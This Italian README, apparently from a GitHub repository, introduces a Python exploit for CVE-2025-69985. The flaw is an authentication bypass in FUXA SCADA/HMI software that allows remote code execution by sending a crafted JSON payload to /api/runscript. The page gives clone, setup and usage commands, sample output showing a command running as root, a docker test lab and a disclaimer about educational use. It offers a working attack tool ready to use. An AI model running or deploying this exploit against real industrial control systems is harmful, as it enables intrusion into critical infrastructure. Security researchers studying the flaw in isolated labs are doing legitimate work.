joshuavanderpoll/cve-2025-69985Exploit Python per CVE-2025-69985 che prende di mira il software SCADA FUXA. Invia un payload JSON appositamente creato all'endpoint /api/runscript per bypassare l'autenticazione e ottenere l'esecuzione remota di codice.
Questo exploit Python sfrutta CVE-2025-69985, una vulnerabilità critica di bypass di autenticazione in FUXA (software SCADA/HMI basato sul web) versione ≤ 1.2.8. Inviando un payload JSON modificato con codice Node.js incorporato all'endpoint non protetto /api/runscript, è in grado di eseguire comandi remoti nel contesto del processo FUXA, catturando l'intero stdout/stderr in modo sincrono nella risposta.
[!NOTE] Per garantire un ambiente pulito e isolato per le dipendenze del progetto, si consiglia di utilizzare il modulo
venvdi Python.
git clone https://github.com/joshuavanderpoll/CVE-2025-69985.git
cd CVE-2025-69985
python3 -m venv .venv
source .venv/bin/activate
pip3 install -r requirements.txt
git clone https://github.com/joshuavanderpoll/CVE-2025-69985.git
cd CVE-2025-69985
python -m venv .venv
.venv\Scripts\activate
pip3 install -r requirements.txt
python3 CVE-2025-69985.py -u http://localhost:1881/ -c whoami
Target : http://localhost:1881
Command: whoami
[*] Preparing payload → executing: whoami
[*] Sending exploit request to /api/runscript ...
[*] Response status: 200
[+] Command executed successfully (CVE-2025-69985 bypass)!
=== COMMAND OUTPUT ===
"root\n"
======================
======================================================================
Exploit completed!.
======================================================================
cd docker/
docker compose down
docker compose up -d
# Puoi testare con --url http://127.0.0.1:1881/
Questo strumento è fornito solo a scopo educativo e di ricerca. Il creatore non si assume alcuna responsabilità per qualsiasi uso improprio o danno causato dallo strumento.